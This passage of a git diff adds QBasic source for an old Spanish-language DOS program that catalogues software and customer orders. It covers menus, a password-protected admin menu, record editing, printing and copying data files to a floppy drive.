"H": GOSUB MenuUp + CASE CHR$(0) + "P": GOSUB MenuDown + CASE CHR$(0) + "K": GOSUB MenuLeft + CASE CHR$(0) + "M": GOSUB MenuRight + CASE CHR$(13): GOSUB MenuEnter + CASE CHR$(27): GOSUB MenuEscape + CASE ELSE: BEEP + END SELECT + WEND + + Menu = currChoice + + EXIT FUNCTION + + +MenuEnter: + finished = TRUE + RETURN + +MenuEscape: + currChoice = 0 + finished = TRUE + RETURN + +MenuUp: + IF BarMode THEN + BEEP + ELSE + currChoice = (currChoice + MaxChoice - 2) MOD MaxChoice + 1 + END IF + RETURN + +MenuLeft: + IF BarMode THEN + currChoice = (currChoice + MaxChoice - 2) MOD MaxChoice + 1 + ELSE + IF AnulTecl = 0 THEN + currChoice = -2 + finished = TRUE + END IF + END IF + RETURN + +MenuRight: + IF BarMode THEN + currChoice = (currChoice) MOD MaxChoice + 1 + ELSE + IF AnulTecl = 0 THEN + currChoice = -3 + finished = TRUE + END IF + END IF + RETURN + +MenuDown: + IF BarMode THEN + finished = TRUE + ELSE + currChoice = (currChoice) MOD MaxChoice + 1 + END IF + RETURN + +MenuShowCursor: + COLOR colors(8, ColorPref), colors(9, ColorPref) + LOCATE ItemRow(currChoice), ItemCol(currChoice) + PRINT Choice$(currChoice); + PrintHelpLine Help$(currChoice) + RETURN + +MenuGetKey: + kbd$ = "" + WHILE kbd$ = "" + kbd$ = INKEY$ + WEND + RETURN + +MenuHideCursor: + COLOR colors(7, ColorPref), colors(4, ColorPref) + LOCATE ItemRow(currChoice), ItemCol(currChoice) + PRINT Choice$(currChoice); + RETURN + + +END FUNCTION + +'MenuSystem: +' Main routine that controls the program. Uses the MENU function +' to implement menu system and calls the appropriate function to handle +' the user's selection +SUB MenuSystem + + DIM Choice$(20), menuRow(20), menuCol(20), Help$(20) + LOCATE , , 0 + Choice = 1 + finished = FALSE + + WHILE NOT finished + GOSUB MenuSystemMain + + SubChoice = -1 + WHILE SubChoice < 0 + SELECT CASE Choice + CASE 1: GOSUB MenuSystemFile + CASE 2: GOSUB MenuSystemEdit + CASE 3: GOSUB MenuSystemAccount + CASE 4: GOSUB MenuSystemColors + CASE 5: GOSUB MenuSystemCreditos + END SELECT + FancyCls colors(2, ColorPref), colors(1, ColorPref) + + SELECT CASE SubChoice + CASE -2: Choice = (Choice + 3) MOD 5 + 1 + CASE -3: Choice = (Choice) MOD 5 + 1 + END SELECT + WEND + WEND + EXIT SUB + + +MenuSystemMain: + FancyCls colors(2, ColorPref), colors(1, ColorPref) + COLOR colors(7, ColorPref), colors(4, ColorPref) + Box 9, 19, 14, 61 + Center 11, "Use las teclas de direcci¢n para el men£" + Center 12, "Presione Entrar para elegir elemento" + + Choice$(1) = " Archivo " + Choice$(2) = " Programas " + Choice$(3) = " Utilidades " + Choice$(4) = " Colores " + Choice$(5) = " Cr‚ditos " + + menuRow(1) = 1: menuCol(1) = 2 + menuRow(2) = 1: menuCol(2) = 11 + menuRow(3) = 1: menuCol(3) = 22 + menuRow(4) = 1: menuCol(4) = 34 + menuRow(5) = 1: menuCol(5) = 67 + + Help$(1) = "Salir del Cat logo" + Help$(2) = "Editar programas" + Help$(3) = "Imprimir/agregar/supr programas, pedidos..." + Help$(4) = "Fijar color en pantalla" + Help$(5) = "Cr‚ditos" + + DO + NewChoice = Menu((Choice), 5, Choice$(), menuRow(), menuCol(), Help$(), TRUE) + LOOP WHILE NewChoice = 0 + Choice = NewChoice + RETURN + +MenuSystemFile: + Choice$(1) = " Salir " + + menuRow(1) = 3: menuCol(1) = 2 + + Help$(1) = "Salir del Administrador" + + SubChoice = Menu(1, 1, Choice$(), menuRow(), menuCol(), Help$(), FALSE) + + SELECT CASE SubChoice + CASE 1: finished = TRUE + CASE ELSE + END SELECT + RETURN + + +MenuSystemEdit: + Choice$(1) = " Juegos " + Choice$(2) = " M£sica " + Choice$(3) = " Procesadores de textos " + Choice$(4) = " Pgr. Contabilidad " + Choice$(5) = " Pgr. Electronica " + Choice$(6) = " Gr ficos " + Choice$(7) = " Utilidades " + Choice$(8) = " Lenguajes " + Choice$(9) = " Windows " + Choice$(10) = " Otros... " + + FOR T = 1 TO 10 + Help$(T) = RTRIM$(Choice$(T)) + NEXT + + menuRow(1) = 3: menuCol(1) = 8 + menuRow(2) = 4: menuCol(2) = 8 + menuRow(3) = 5: menuCol(3) = 8 + menuRow(4) = 6: menuCol(4) = 8 + menuRow(5) = 7: menuCol(5) = 8 + menuRow(6) = 8: menuCol(6) = 8 + menuRow(7) = 9: menuCol(7) = 8 + menuRow(8) = 10: menuCol(8) = 8 + menuRow(9) = 11: menuCol(9) = 8 + menuRow(10) = 12: menuCol(10) = 8 + + + + SubChoice = Menu(1, 10, Choice$(), menuRow(), menuCol(), Help$(), FALSE) + IF be = 1 THEN RETURN + SELECT CASE SubChoice + CASE 1 TO 10 + EditarProgramas (SubChoice) + CASE ELSE + END SELECT + RETURN + + +MenuSystemAccount: + +DO + + vwe = 0 + + Choice$(1) = " " + CHR$(34) + " Pedidos " + CHR$(34) + " " + Choice$(2) = " Impresi¢n individual" + Choice$(3) = " Impresi¢n completa " + Choice$(4) = " Men£ principal " + + FOR T = 1 TO 4 + Help$(T) = RTRIM$(Choice$(T)) + NEXT + + menuRow(1) = 3: menuCol(1) = 18 + menuRow(2) = 4: menuCol(2) = 18 + menuRow(3) = 5: menuCol(3) = 18 + menuRow(4) = 6: menuCol(4) = 18 + + SubChoice = Menu(1, 4, Choice$(), menuRow(), menuCol(), Help$(), FALSE) + SELECT CASE SubChoice + CASE 1: Pedidos (0) + CASE 2 + FancyCls colors(2, ColorPref), colors(1, ColorPref) + BorraPantalla = 1 + COLOR colors(7, ColorPref), colors(4, ColorPref) + sombra = 1 + Box 15, 7, 17, 36 + sombra = 0 + + LOCATE 16, 8: PRINT "Seleccione m¢dulo a imprimir" + be = 1 + GOSUB MenuSystemEdit + be = 0 + BorraPantalla = 0 + ImprCom (SubChoice) + CASE 3: ImprCom (0) + CASE 4 + vwe = 1 + +IF tir <> 1 THEN + + Box 9, 19, 14, 61 + COLOR 10 + Center 11, "Introduzca PASSWORD..." + COLOR 0, 0 + + DO + Tipos = Tipos + 1 + kbd$ = GetString$(11, 54, Start$, new$, 5, 5) + new# = VAL(new$) + IF new# = 0 THEN EXIT DO + IF Tipos = 5 THEN tir = 1: EXIT DO + BEEP + LOOP WHILE new# <= 0 OR new# > 999999 + + ELSE + Box 9, 19, 14, 61 + COLOR 10 + Center 11, "ACCESO DENEGADO" + Center 13, STR$(2 - intentos) + " intento/s m s y bloqueo el programa !!" + SLEEP + intentos = intentos + 1 + IF intentos = 3 THEN + Box 9, 19, 14, 61 + COLOR 10 + Center 11, "ACCESO DENEGADO" + Center 13, "Programa BLOQUEADO" + DO: LOOP + END IF +END IF + +DO + Retorno = 0 +IF new# = VAL(RTRIM$(LTRIM$(STR$(Password#)))) THEN + + Tipos = Tipos - 1 + Choice$(1) = " A¤adir/supr programas " + Choice$(2) = " Cambiar mensaje " + Choice$(3) = " Edit/supr pedidos " + Choice$(4) = " Camb. Password/Usuario " + Choice$(5) = " Copiar ficheros a A: " + + Help$(1) = "A¤adir, suprimir programas" + Help$(2) = "Cambiar mensaje final de impresi¢n" + Help$(3) = "Editar, suprimir pedidos" + Help$(4) = "Cambiar Password, usuario en uso" + Help$(5) = "Copiar ficheros de datos de C: a A:" + + menuRow(1) = 7: menuCol(1) = 40 + menuRow(2) = 8: menuCol(2) = 40 + menuRow(3) = 9: menuCol(3) = 40 + menuRow(4) = 10: menuCol(4) = 40 + menuRow(5) = 11: menuCol(5) = 40 + + COLOR colors(2, ColorPref), colors(1, ColorPref) + FOR wq = 9 TO 20 + LOCATE wq, 19: PRINT SPC(44); + NEXT + + BorraPantalla = 1 + subsubchoice = Menu(1, 5, Choice$(), menuRow(), menuCol(), Help$(), FALSE) + BorraPantalla = 0 + + SELECT CASE subsubchoice + CASE 1: MasMenosProg + CASE 2: CambMensajeFinal + CASE 3: Pedidos (1) + + CASE 4 + + Box 12, 19, 17, 61 + Center 13, "CAMBIO DE PASSWORD Y USUARIO" + Center 14, "Usuario: " + Center 15, "Password: " + kbd$ = GetString$(14, 30, Poseedor$, new$, 18, 18) + Poseedor$ = new$ + ert = 0 + : 'Este es el DO de ert + DO + OldPassword# = Password# + LOCATE 15, 30: PRINT Password# + kbd$ = GetString$(15, 30, STR$(Password#), new$, 5, 5) + new# = VAL(new$) + Password# = new# + IF OldPassword# <> Password# THEN + COLOR colors(7, ColorPref), colors(4, ColorPref) + Box 18, 19, 20, 61 + Center 19, "Confirme Password: " + COLOR 0, 0 + kbd$ = GetString$(19, 40, Start$, new$, 5, 5) + IF Password# <> VAL(new$) THEN + Center 19, "Confirmaci¢n de Password incorrecta" + SLEEP + Center 19, "Por favor, vuelva a introducirlo..." + ert = 1 + END IF + + END IF + SaveState + Retorno = 1 + + LOOP WHILE ert = 1 + + CASE 5 + PrintHelpLine "Por favor, espere... Copiando Ficheros" + LOCATE 15, 1 + SHELL "Copy *.dat a: >nul" + IF SCREEN(16, 1) <> 32 THEN + sombra = 1 + COLOR , 4 + Box 9, 19, 14, 63 + COLOR 14, 4 + Center 11, "ATENCIàN!!! Se produjo un error durante" + Center 12, "el proceso, copie los ficheros manualmente." + COLOR 11, 4: Center 13, "Perdone las molestias" + sombra = 0 + SLEEP + GOTO MenuSystemMain + END IF + SHELL "Copy Mensaje.cat a: >nul" + IF SCREEN(16, 1) <> 32 THEN + sombra = 1 + COLOR , 4 + Box 9, 19, 14, 63 + COLOR 14, 4 + Center 11, "ATENCIàN!!! Se produjo un error durante" + Center 12, "el proceso, copie los ficheros manualmente." + COLOR 11, 4: Center 13, "Perdone las molestias" + sombra = 0 + SLEEP + GOTO MenuSystemMain + END IF + CASE ELSE + END SELECT +END IF + + LOOP WHILE Retorno = 1 + + CASE ELSE + END SELECT + +LOOP WHILE vwe = 1 + +RETURN + +MenuSystemColors: + Choice$(1) = " Monocrom tico " + Choice$(2) = " Cyan/Azul " + Choice$(3) = " Azul/Cyan " + Choice$(4) = " Rojo/Gris " + + menuRow(1) = 3: menuCol(1) = 31 + menuRow(2) = 4: menuCol(2) = 31 + menuRow(3) = 5: menuCol(3) = 31 + menuRow(4) = 6: menuCol(4) = 31 + + Help$(1) = "Color para presentaci¢n monocrom tico y LCD" + Help$(2) = "Color presentado cyan" + Help$(3) = "Color presentado azul" + Help$(4) = "Color presentado rojo" + + SubChoice = Menu(1, 4, Choice$(), menuRow(), menuCol(), Help$(), FALSE) + + SELECT CASE SubChoice + CASE 1 TO 4 + ColorPref = SubChoice + SaveState + CASE ELSE + END SELECT + RETURN + +MenuSystemCreditos: + Choice$(1) = " Cedido a... " + Choice$(2) = " Acerca de..." + + menuRow(1) = 3: menuCol(1) = 65 + menuRow(2) = 4: menuCol(2) = 65 + + Help$(1) = "Cat logo vú3.0 cedido a..." + Help$(2) = "Cr‚ditos de Cat logo" + + SubChoice = Menu(1, 2, Choice$(), menuRow(), menuCol(), Help$(), FALSE) + + SELECT CASE SubChoice + CASE 1 + Box 9, 19, 14, 61 + Center 10, "Cat logo vú3.0 cedido a: " + Center 11, " " + Poseedor$ + SLEEP + + CASE 2 + Box 9, 19, 14, 61 + Center 10, "Cat logo, creado por: " + Center 11, " " + MiNombre$ + Center 12, " Tel‚fono: 95 - 561.08.91" + SLEEP + + CASE ELSE + END SELECT + RETURN + + +END SUB + +SUB Pedidos (Permisos%) + + ON ERROR GOTO ERRORTRAP + 'Stores info about each column + REDIM Help$(2), col(2), Vis(2), Max(2), CurrString$(3), CurrFig#(5), Choice$(10), menuRow(10), menuCol(10), Men$(4), f(2), CurrStringC$(5), HelpC$(5) + REDIM ColC(5), VisC(5), MaxC(5), RowC(5) + 'Array to keep the current balance at all the transactions + REDIM Balance#(1000) + + +OPEN "P_Temp.cat" FOR RANDOM AS #1 LEN = 24 +OPEN "Fichas.cat" FOR RANDOM AS #2 LEN = 53 + + FIELD #1, 1 AS TipFich$, 3 AS IoCurrTempTopLine$, 15 AS IoTempDesc$ + FIELD #1, 1 AS Valid$, 4 AS IoMaxRecord$ + + FIELD #2, 10 AS IoNombre$, 18 AS IoApellido$, 10 AS IoTelefono$, 10 AS IoCpu$, 2 AS IoRam$ + FIELD #2, 1 AS IoVld$, 3 AS IoMxRcrd$ + + GET #1, 1 + IF Valid$ <> "*" THEN + LSET TipFich$ = "þ" + LSET IoCurrTempTopLine$ = "" + LSET IoTempDesc$ = "" + PUT #1, 2 + LSET Valid$ = "*" + LSET IoMaxRecord$ = "1" + PUT #1, 1 + MaxRecord = VAL(IoMaxRecord$) + END IF + + CurrStringC$(1) = "" + CurrStringC$(2) = "" + CurrStringC$(3) = "" + CurrStringC$(4) = "" + CurrStringC$(5) = "" + + FancyCls colors(2, ColorPref), colors(1, ColorPref) + COLOR colors(7, ColorPref), colors(4, ColorPref) + sombra = 1 + Box 3, 35, 8, 76 + COLOR colors(7, ColorPref), colors(4, ColorPref) +LOCATE 4, 36: PRINT "Nombre:" +LOCATE 5, 36: PRINT "Apellidos:" +LOCATE 6, 36: PRINT "Telefono:" +LOCATE 7, 36: PRINT "CPU: RAM:" + + GET #2, 1 + IF IoVld$ <> "*" THEN + LSET IoNombre$ = "" + LSET IoApellido$ = "" + LSET IoTelefono$ = "" + LSET IoCpu$ = "" + LSET IoRam$ = "" + PUT #2, 2 + LSET IoVld$ = "*" + LSET IoMxRcrd$ = "1" + PUT #2, 1 + ELSE + GET #2, 2 + CurrStringC$(1) = IoNombre$ + CurrStringC$(2) = IoApellido$ + CurrStringC$(3) = IoTelefono$ + CurrStringC$(4) = IoCpu$ + CurrStringC$(5) = IoRam$ + LOCATE 4, 44: PRINT CurrStringC$(1) + LOCATE 5, 47: PRINT CurrStringC$(2) + LOCATE 6, 46: PRINT CurrStringC$(3) + LOCATE 7, 41: PRINT CurrStringC$(4) + LOCATE 7, 70: PRINT CurrStringC$(5) + GET #2, 1 + MaxRecord = VAL(IoMaxRecord$) + + END IF + + + 'Initialize variables + CurrString$(1) = "" + CurrString$(2) = "" + CurrString$(3) = "" + + + MaxRecord = VAL(IoMaxRecord$) + MaxRecordC = VAL(IoMxRcrd$) + + Help$(1) = "Nombre del Programa (15 dig.) " + Help$(2) = "N§ Kb, Mb, Diskettes... " + + HelpC$(1) = "Nombre " + HelpC$(2) = "Apellidos " + HelpC$(3) = "N§ Tel‚fono " + HelpC$(4) = "C.P.U. (Ej. 486DX2/66 ) " + HelpC$(5) = "RAM " + + col(1) = 36: Vis(1) = 15: Max(1) = 15 + col(2) = 52: Vis(2) = 3: Max(2) = 3 + + ColC(1) = 44: VisC(1) = 21: MaxC(1) = 10: RowC(1) = 4 + ColC(2) = 47: VisC(2) = 18: MaxC(2) = 18: RowC(2) = 5 + ColC(3) = 46: VisC(3) = 19: MaxC(3) = 10: RowC(3) = 6 + ColC(4) = 41: VisC(4) = 24: MaxC(4) = 10: RowC(4) = 7 + ColC(5) = 70: VisC(5) = 3: MaxC(5) = 2: RowC(5) = 7 + + + 'Draw Screen + Box 10, 35, 18, 76 + + + u$ = "\ \" + u1$ = " " + u1x$ = "ßßßßßßßßßßßßßßßß" + u2$ = "###" + + + + CurrTopLine = 1 + + PosCol = 1 + CurrRow = 1 + CurrCol = 1 + + GOSUB EtTransPrintWholeScreen + + IF Permisos = 0 THEN + PrintHelpLine Help$(CurrCol) + "| " + ELSE + PrintHelpLine " " + END IF + + GOSUB EtTransGetLine + GOSUB EtTransPrintLine + + finished = FALSE + + + 'Loop until is pressed + DO + hide = 0: GOSUB EtTransShowCursor 'Show Cursor, Wait for key + DO: kbd$ = INKEY$: LOOP UNTIL kbd$ <> "" + hide = 1: GOSUB EtTransShowCursor + + IF kbd$ >= " " AND kbd$ < "¦" OR kbd$ = CHR$(8) THEN 'If legal key, Et item + IF Permisos = 0 THEN GOSUB EtTransEtItem + END IF + + SELECT CASE kbd$ 'Handle Special keys + CASE CHR$(0) + "H" 'up arrow + GOSUB EtTransMoveUp + CASE CHR$(0) + "P" 'Down arrow + GOSUB EtTransMoveDown + CASE CHR$(0) + "=" 'F3 + IF Permisos = 0 THEN + PrintHelpLine Help$(CurrCol) + "| " + GOSUB PdCmntr + END IF + CASE CHR$(0) + "I" 'Page Up + CurrRow = 1: PosCol = 1 + CurrTopLine = CurrTopLine - 14 + IF CurrTopLine < 1 THEN + CurrTopLine = 1 + END IF + GOSUB EtTransPrintWholeScreen + GOSUB EtTransGetLine + CASE CHR$(0) + "Q" 'Page Down + CurrRow = 1: PosCol = 1 + CurrTopLine = CurrTopLine + 14 + IF CurrTopLine > MaxRecord THEN + CurrTopLine = MaxRecord + END IF + + GOSUB EtTransPrintWholeScreen + GOSUB EtTransGetLine + CASE CHR$(0) + "<" 'F2 + finished = TRUE + CASE CHR$(0) + "C" 'F9 + IF Permisos = 0 THEN GOSUB EtTransAddRecord ELSE GOSUB Imprimir + CASE CHR$(0) + "D" 'F10 + IF Permisos = 0 THEN + GOSUB EtTransDeleteRecord + ELSE + CLOSE + KILL "Fichas.cat" + KILL "P_Temp.cat" + finished = TRUE + END IF + CASE CHR$(13) 'Enter + CASE ELSE + BEEP + END SELECT + LOOP UNTIL finished + + CLOSE + + EXIT SUB + + +EtTransShowCursor: + IF hide = 0 THEN COLOR colors(8, ColorPref), colors(9, ColorPref) ELSE COLOR colors(7, ColorPref), colors(4, ColorPref) + IF PosCol = 1 THEN LOCATE CurrRow + 10, col(CurrCol) ELSE LOCATE CurrRowFalse + 9, col(CurrCol) + 21 + PRINT LEFT$(CurrString$(1), 15); + RETURN + +EtTransEtItem: + + CurrRecord = CurrTopLine + CurrRow - 1 + COLOR colors(8, ColorPref), colors(9, ColorPref) + IF PosCol = 1 THEN CrrRw = CurrRow: f(1) = col(1): f(2) = col(2) ELSE CrrRw = CurrRowFalse - 1: f(1) = col(1) + 21: f(2) = col(2) + 21 + + IF RTRIM$(LTRIM$(CurrString$(1))) <> "" THEN Start$ = CurrString$(3) + kbd$ ELSE Start$ = kbd$ + kbd$ = GetString$(CrrRw + 10, f(1), Start$, new$, Vis(CurrCol), Max(CurrCol)) + CurrString$(1) = new$ + GOSUB EtTransPutLine + GOSUB EtTransGetLine + + GOSUB EtTransPrintLine + RETURN +'ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ +'ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ +EtTransMoveUp: + IF CurrRow = 1 THEN + BEEP + ELSE + CurrRow = CurrRow - 1 + IF CurrRow >= 8 THEN + PosCol = 2 + SELECT CASE CurrRow + CASE 8: CurrRowFalse = 2 + CASE 9: CurrRowFalse = 3 + CASE 10: CurrRowFalse = 4 + CASE 11: CurrRowFalse = 5 + CASE 12: CurrRowFalse = 6 + CASE 13: CurrRowFalse = 7 + CASE 14: CurrRowFalse = 8 + CASE ELSE + END SELECT + ELSE + PosCol = 1 + END IF + + GOSUB EtTransGetLine + END IF + RETURN +'ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ +'ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ +EtTransMoveDown: + IF (CurrRow + CurrTopLine - 1) >= MaxRecord OR CurrRow = 14 THEN + BEEP + ELSE + IF CurrRow = 14 THEN + BEEP + ELSE + CurrRow = CurrRow + 1 + IF CurrRow >= 8 THEN + PosCol = 2 + SELECT CASE CurrRow + CASE 8: CurrRowFalse = 2 + CASE 9: CurrRowFalse = 3 + CASE 10: CurrRowFalse = 4 + CASE 11: CurrRowFalse = 5 + CASE 12: CurrRowFalse = 6 + CASE 13: CurrRowFalse = 7 + CASE 14: CurrRowFalse = 8 + CASE ELSE + END SELECT + ELSE + PosCol = 1 + END IF + + GOSUB EtTransGetLine + END IF + END IF + + RETURN + +EtTransPrintLine: + + COLOR colors(7, ColorPref), colors(4, ColorPref) + CurrRecord = CurrTopLine + CurrRow - 1 + IF PosCol = 1 THEN + LOCATE CurrRow + 10, 36 + ELSE + LOCATE CurrRowFalse + 9, 57 + END IF + + IF CurrRecord = MaxRecord + 1 THEN + PRINT u1x$; + ELSEIF CurrRecord > MaxRecord THEN + PRINT u1$; + ELSE + + IF RTRIM$(LTRIM$(CurrString$(1))) = "" THEN PRINT " "; ELSE PRINT CurrString$(1) + " "; + END IF + + RETURN + + +EtTransDeleteRecord: + IF MaxRecord = 1 THEN + BEEP + ELSE + CurrRecord = CurrTopLine + CurrRow - 1 + MaxRecord = MaxRecord - 1 + a = CurrRecord + WHILE a <= MaxRecord + GET #1, a + 1 + 1 + PUT #1, a + 1 + a = a + 1 + WEND + LSET Valid$ = "*" + LSET IoMaxRecord$ = STR$(MaxRecord) + PUT #1, 1 + + GOSUB EtTransPrintWholeScreen + + IF CurrRecord > MaxRecord THEN + GOSUB EtTransMoveUp + END IF + GOSUB EtTransGetLine + GOSUB EtTransPrintLine + + END IF + RETURN + +EtTransAddRecord: + + CurrRecord = CurrTopLine + CurrRow - 1 + a = MaxRecord + WHILE a > CurrRecord + GET #1, a + 1 + PUT #1, a + 1 + 1 + a = a - 1 + WEND + MaxRecord = MaxRecord + 1 + LSET TipFich$ = "þ" + LSET IoCurrTempTopLine$ = "þ" + LSET IoTempDesc$ = "" + PUT #1, CurrRecord + 1 + 1 + LSET Valid$ = "*" + LSET IoMaxRecord$ = STR$(MaxRecord) + PUT #1, 1 + + GOSUB EtTransPrintWholeScreen + GOSUB EtTransGetLine + RETURN + + +EtTransPrintWholeScreen: + + Permiso = 1 + temp = CurrRow + + FOR CurrRow = 1 TO 14 + CurrRecord = CurrTopLine + CurrRow - 1 + IF CurrRecord <= MaxRecord THEN + GOSUB EtTransGetLine + END IF + IF CurrRow >= 8 THEN + PosCol = 2 + SELECT CASE CurrRow + CASE 8: CurrRowFalse = 2 + CASE 9: CurrRowFalse = 3 + CASE 10: CurrRowFalse = 4 + CASE 11: CurrRowFalse = 5 + CASE 12: CurrRowFalse = 6 + CASE 13: CurrRowFalse = 7 + CASE 14: CurrRowFalse = 8 + CASE ELSE + END SELECT + END IF + + GOSUB EtTransPrintLine + PosCol = 1 + NEXT CurrRow + Permiso = 0 + CurrRow = temp + RETURN + +'ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ +EtTransPutLine: + + CurrRecord = CurrTopLine + CurrRow - 1 + + GET #1, CurrRecord + 1 + Dezplazamiento = 0 + LSET TipFich$ = RTRIM$(LTRIM$(Tip$)) + LSET IoCurrTempTopLine$ = RTRIM$(LTRIM$(CurrTempTopLine$)) + LSET IoTempDesc$ = CurrString$(1) + PUT #1, CurrRecord + 1 + RETURN + +EtTransGetLine: + + CurrRecord = CurrTopLine + CurrRow - 1 + + GET #1, CurrRecord + 1 + Tip$ = TipFich$ + CurrString$(1) = IoTempDesc$ + CurrTempTopLine$ = IoCurrTempTopLine$ + RETURN + +PdCmntr: + NowRow = 1 + PrintHelpLine HelpC$(NowRow) + "| " + fiiniished = FALSE + 'Loop until is pressed + DO + hide = 0: GOSUB ddtTrnsShwCrsr 'Show Cursor, Wait for key + DO: kbd$ = INKEY$: LOOP UNTIL kbd$ <> "" + Start$ = kbd$ + hide = 1: GOSUB ddtTrnsShwCrsr + + IF kbd$ >= " " AND kbd$ < "¦" OR kbd$ = CHR$(8) THEN 'If legal key, edit item + COLOR colors(8, ColorPref), colors(9, ColorPref) + SELECT CASE NowRow + CASE 1 TO 5 + Start$ = kbd$ + kbd$ = GetString$(RowC(NowRow), ColC(NowRow), Start$, new$, VisC(NowRow), MaxC(NowRow)) + CurrStringC$(NowRow) = new$ + CASE ELSE + END SELECT + + END IF + hide = 0: GOSUB ddtTrnsShwCrsr 'Show Cursor, Wait for key + SELECT CASE kbd$ 'Handle Special keys + CASE CHR$(0) + "H" 'up arrow + hide = 1: GOSUB ddtTrnsShwCrsr + NowRow = NowRow - 1 + IF NowRow <= 0 THEN NowRow = 5 + PrintHelpLine HelpC$(NowRow) + "| " + CASE CHR$(0) + "P" 'Down arrow + hide = 1: GOSUB ddtTrnsShwCrsr + NowRow = NowRow + 1 + IF NowRow >= 6 THEN NowRow = 1 + PrintHelpLine HelpC$(NowRow) + "| " + CASE CHR$(0) + "<" 'F2 + fiiniished = TRUE + CASE ELSE + BEEP + END SELECT + LOOP UNTIL fiiniished + hide = 1: GOSUB ddtTrnsShwCrsr + PrintHelpLine "Por Favor, espere... Buscando y Grabando posiciones" + LSET IoNombre$ = CurrStringC$(1) + LSET IoApellido$ = CurrStringC$(2) + LSET IoTelefono$ = CurrStringC$(3) + LSET IoCpu$ = CurrStringC$(4) + LSET IoRam$ = CurrStringC$(5) + PUT #2, 2 + LSET IoVld$ = "*" + LSET IoMxRcrd$ = "1" + PUT #2, 1 + RETURN + + +ddtTrnsShwCrsr: + IF hide = 0 THEN COLOR colors(8, ColorPref), colors(9, ColorPref) ELSE COLOR colors(7, ColorPref), colors(4, ColorPref) + LOCATE RowC(NowRow), ColC(NowRow): PRINT CurrStringC$(NowRow); SPC(VisC(NowRow) - LEN(CurrStringC$(NowRow))); + RETURN + +Imprimir: + +PrintErr = FALSE +ON ERROR GOTO ERRORTRAP ' test if printer is connected +LPRINT +IF PrintErr = FALSE THEN +LPRINT "CATALOGO -- J.D. --" +LPRINT +LPRINT "Nombre: "; CurrStringC$(1) +LPRINT "Apellidos: "; CurrStringC$(2) +LPRINT "N§ Telefono: "; CurrStringC$(3) +LPRINT "C.P.U.: "; CurrStringC$(4); " "; CurrStringC$(5) +LPRINT + a = 1: b = 1 + WHILE a <= MaxRecord + GET #1, a + 1 + SELECT CASE b + CASE 1: LPRINT IoTempDesc$; : b = 2 + CASE 2: LPRINT " "; IoTempDesc$; : b = 3 + CASE 3: LPRINT " "; IoTempDesc$; : b = 4 + CASE 4: LPRINT " "; IoTempDesc$: b = 1 + CASE ELSE + END SELECT + a = a + 1 + WEND +LPRINT + +END IF +RETURN + +END SUB + +'PrintHelpLine: +' Prints help text on the bottom row in the proper color +SUB PrintHelpLine (Help$) + COLOR colors(5, ColorPref), colors(4, ColorPref) + LOCATE 25, 1 + PRINT SPACE$(80); + Center 25, Help$ +END SUB + +'SaveState: +' Save color preference and account information to "MONEY.DAT" data file. +SUB SaveState +DEFINT A-Z +RANDOMIZE TIMER + x# = INT(RND * 6) + 1 + Password$ = STR$(x#) + STR$(Password# * x# * 7#) + OPEN "Catalogo.CFG" FOR OUTPUT AS #2 + PRINT #2, ColorPref + PRINT #2, Poseedor$ + PRINT #2, Password$ + CLOSE #2 +END SUB + +FUNCTION Trim$ (x$) + + IF x$ = "" THEN + Trim$ = "" + ELSE + lastChar = 0 + FOR a = 1 TO LEN(x$) + y$ = MID$(x$, a, 1) + IF y$ <> CHR$(0) AND y$ <> " " THEN + lastChar = a + END IF + NEXT a + Trim$ = LEFT$(x$, lastChar) + END IF + +END FUNCTION + diff --git a/BAS/CATALOG2.BAS b/BAS/CATALOG2.BAS new file mode 100644 index 0000000..24d7295 --- /dev/null +++ b/BAS/CATALOG2.BAS @@ -0,0 +1,912 @@ +principiodelprincipio: +REM Versi¢n 3.0 en Qbasic de Catalogo (c) +KEY OFF +pp: +CLEAR +ON ERROR GOTO corrector +DIM lec$(12), lot$(12), T$(50), fet$(50), A$(50), tele$(50) +KEY(1) ON +KEY(2) ON +ON KEY(1) GOSUB help +ON KEY(2) GOSUB finp +CLS +GOSUB menu1 +GOSUB cargachar +COLOR 1, 7 +l = 1 +GOSUB secuencia + +espera: +KEY(11) ON +KEY(14) ON +ON KEY(11) GOSUB sube +ON KEY(14) GOSUB baja +espera3: +I$ = INKEY$ +IF I$ = "" THEN GOTO espera3 +IF I$ = CHR$(13) THEN GOTO ejecuta +IF I$ = CHR$(27) THEN GOSUB help +GOTO espera3 + +sube: +ant = l +IF l = 1 THEN l = 11 ELSE l = l - 1 +GOSUB secuencia +RETURN + +baja: +ant = l +IF l = 12 THEN l = 1 ELSE l = l + 1 +GOSUB secuencia +RETURN + +secuencia: +IF l = -1 THEN l = 11 +IF l = 12 THEN l = 1 +IF ant = 0 THEN ant = 1 +COLOR 7, 1, 1 +LOCATE 2 * ant, 2: PRINT lot$(ant) +COLOR 1, 7 +LOCATE 2 * l, 2: PRINT lec$(l): RETURN +END + +ejecuta: +KEY(11) OFF +KEY(14) OFF +COLOR 7, 1, 1 +IF l < 6 THEN arc$ = "copy-1.dat" ELSE arc$ = "copy-2.dat" +IF l = 1 